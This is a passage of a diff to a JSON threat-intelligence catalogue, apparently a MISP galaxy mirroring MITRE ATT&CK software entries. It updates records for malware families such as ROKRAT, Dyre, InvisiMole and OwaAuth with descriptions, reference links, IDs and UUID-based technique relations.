"687c23e4-4e25-4ee7-a870-c5e002511f54" - }, - "related": [ - { - "dest-uuid": "eedcf785-d011-4e17-96c4-6ff39138ada0", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "DustySky" - }, - { - "description": "Derusbi is malware used by multiple Chinese APT groups.[[Citation: Axiom]][[Citation: ThreatConnect Anthem]] Both Windows and Linux variants have been observed.[[Citation: Fidelis Turbo]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0021", - "https://www.fidelissecurity.com/sites/default/files/TA%20Fidelis%20Turbo%201602%200.pdf", - "http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf", - "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/" - ], - "uuid": "94379dec-5c87-49db-b36e-66abc0b81344" - }, - "related": [ - { - "dest-uuid": "eff68b97-f36e-4827-ab1a-90523c16774c", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" + "type": "uses" }, { - "dest-uuid": "7ea00126-add3-407e-b69d-d4aa1b3049d5", + "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" + }, + { + "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Derusbi" + "uuid": "4ab44516-ad75-4e43-a280-705dc0420e2f", + "value": "ZeroT - S0230" }, { - "description": "Downdelph is a first-stage downloader written in Delphi that has been used by APT28 in rare instances between 2013 and 2015.[[Citation: ESET Sednit Part 3]]\n\nAliases: Downdelph, Delphacy", + "description": "[Twitoor](https://attack.mitre.org/software/S0302) is an Android malware family that likely spreads by SMS or via malicious URLs. (Citation: ESET-Twitoor)", "meta": { + "external_id": "S0302", "refs": [ - "https://attack.mitre.org/wiki/Software/S0134", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + "https://attack.mitre.org/software/S0302", + "http://www.welivesecurity.com/2016/08/24/first-twitter-controlled-android-botnet-discovered/" ], "synonyms": [ - "Downdelph", - "Delphacy" - ], - "uuid": "08d20cd2-f084-45ee-8558-fa6ef5a18519" + "Twitoor" + ] }, "related": [ { - "dest-uuid": "837a295c-15ff-41c0-9b7e-5f2fb502b00a", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" - }, - { - "dest-uuid": "e6a077cb-42cc-4193-9006-9ceda8c0dff2", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" + "type": "uses" } ], - "value": "Downdelph" + "uuid": "41e3fd01-7b83-471f-835d-d2b1dc9a770c", + "value": "Twitoor - S0302" }, { - "description": "Dyre is a Trojan that usually targets banking information.[[Citation: Raff 2015]]", + "description": "[LOWBALL](https://attack.mitre.org/software/S0042) is malware used by [admin@338](https://attack.mitre.org/groups/G0018). It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)", "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0024", - "http://www.seculert.com/blogs/new-dyre-version-yet-another-malware-evading-sandboxes" + "external_id": "S0042", + "mitre_platforms": [ + "Windows" ], - "uuid": "63c2a130-8a5b-452f-ad96-07cf0af12ffe" + "refs": [ + "https://attack.mitre.org/software/S0042", + "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + ], + "synonyms": [ + "LOWBALL" + ] + }, + "related": [ + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b", + "value": "LOWBALL - S0042" + }, + { + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) is a remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067). This software has been used to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) used ROKRAT during several campaigns in 2016 through 2018. (Citation: Talos ROKRAT) (Citation: Talos Group123)", + "meta": { + "external_id": "S0240", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0240", + "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html", + "https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html", + "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + ], + "synonyms": [ + "ROKRAT" + ] + }, + "related": [ + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "value": "ROKRAT - S0240" + }, + { + "description": "[Briba](https://attack.mitre.org/software/S0204) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor and download files on to compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Briba May 2012)", + "meta": { + "external_id": "S0204", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0204", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", + "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99" + ], + "synonyms": [ + "Briba" + ] + }, + "related": [ + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "79499993-a8d6-45eb-b343-bf58dea5bdde", + "value": "Briba - S0204" + }, + { + "description": "[Dyre](https://attack.mitre.org/software/S0024) is a Trojan that has been used for financial gain. \n (Citation: Symantec Dyre June 2015)", + "meta": { + "external_id": "S0024", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0024", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf" + ], + "synonyms": [ + "Dyre" + ] }, "related": [ { @@ -1603,18 +6339,1994 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Dyre" + "uuid": "63c2a130-8a5b-452f-ad96-07cf0af12ffe", + "value": "Dyre - S0024" }, { - "description": "Duqu is a malware platform that uses a modular approach to extend functionality after deployment within a target network.[[Citation: Symantec W32.Duqu]]", + "description": "[CALENDAR](https://attack.mitre.org/software/S0025) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)", "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0038", - "https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20duqu%20the%20precursor%20to%20the%20next%20stuxnet.pdf" + "external_id": "S0025", + "mitre_platforms": [ + "Windows" ], - "uuid": "68dca94f-c11d-421e-9287-7c501108e18c" + "refs": [ + "https://attack.mitre.org/software/S0025", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "synonyms": [ + "CALENDAR" + ] + }, + "related": [ + { + "dest-uuid": "e2c18713-0a95-4092-a0e9-76358512daad", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "5a84dc36-df0d-4053-9b7c-f0c388a57283", + "value": "CALENDAR - S0025" + }, + { + "description": "[OnionDuke](https://attack.mitre.org/software/S0052) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2013 to 2015. (Citation: F-Secure The Dukes)", + "meta": { + "external_id": "S0052", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0052", + "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + ], + "synonyms": [ + "OnionDuke" + ] + }, + "related": [ + { + "dest-uuid": "abd10caa-7d4c-4c22-8dae-8d32f13232d7", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b136d088-a829-432c-ac26-5529c26d4c7e", + "value": "OnionDuke - S0052" + }, + { + "description": "[Naid](https://attack.mitre.org/software/S0205) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Naid June 2012)", + "meta": { + "external_id": "S0205", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0205", + "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + ], + "synonyms": [ + "Naid" + ] + }, + "related": [ + { + "dest-uuid": "170db76b-93f7-4fd1-97fc-55937c079b66", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "48523614-309e-43bf-a2b8-705c2b45d7b2", + "value": "Naid - S0205" + }, + { + "description": "[GLOOXMAIL](https://attack.mitre.org/software/S0026) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)", + "meta": { + "external_id": "S0026", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0026", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "synonyms": [ + "GLOOXMAIL", + "Trojan.GTALK" + ] + }, + "related": [ + { + "dest-uuid": "a379f09b-5cec-4bdb-9735-125cef2de073", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2", + "value": "GLOOXMAIL - S0026" + }, + { + "description": "[DustySky](https://attack.mitre.org/software/S0062) is multi-stage malware written in .NET that has been used by [Molerats](https://attack.mitre.org/groups/G0021) since May 2015. (Citation: DustySky) (Citation: DustySky2)", + "meta": { + "external_id": "S0062", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0062", + "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf", + "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf" + ], + "synonyms": [ + "DustySky", + "NeD Worm" + ] + }, + "related": [ + { + "dest-uuid": "eedcf785-d011-4e17-96c4-6ff39138ada0", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "687c23e4-4e25-4ee7-a870-c5e002511f54", + "value": "DustySky - S0062" + }, + { + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) is a modular spyware program that has been used by threat actors since at least 2013. [InvisiMole](https://attack.mitre.org/software/S0260) has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. (Citation: ESET InvisiMole June 2018)", + "meta": { + "external_id": "S0260", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0260", + "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + ], + "synonyms": [ + "InvisiMole" + ] + }, + "related": [ + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": 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"2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": 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"7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "47afe41c-4c08-485e-b062-c3bd209a1cce", + "value": "InvisiMole - S0260" + }, + { + "description": "[Wiarp](https://attack.mitre.org/software/S0206) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Wiarp May 2012)", + "meta": { + "external_id": "S0206", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0206", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", + "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99" + ], + "synonyms": [ + "Wiarp" + ] + }, + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "039814a0-88de-46c5-a4fb-b293db21880a", + "value": "Wiarp - S0206" + }, + { + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by [Threat Group-3390](https://attack.mitre.org/groups/G0027). (Citation: Dell TG-3390)", + "meta": { + "external_id": "S0072", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0072", + "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + ], + "synonyms": [ + "OwaAuth" + ] + }, + "related": [ + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "value": "OwaAuth - S0072" + }, + { + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) is a custom PowerShell-based payload used by [DarkHydrus](https://attack.mitre.org/groups/G0079). (Citation: Unit 42 DarkHydrus July 2018)", + "meta": { + "external_id": "S0270", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0270", + "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + ], + "synonyms": [ + "RogueRobin" + ] + }, + "related": [ + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "tags": [ 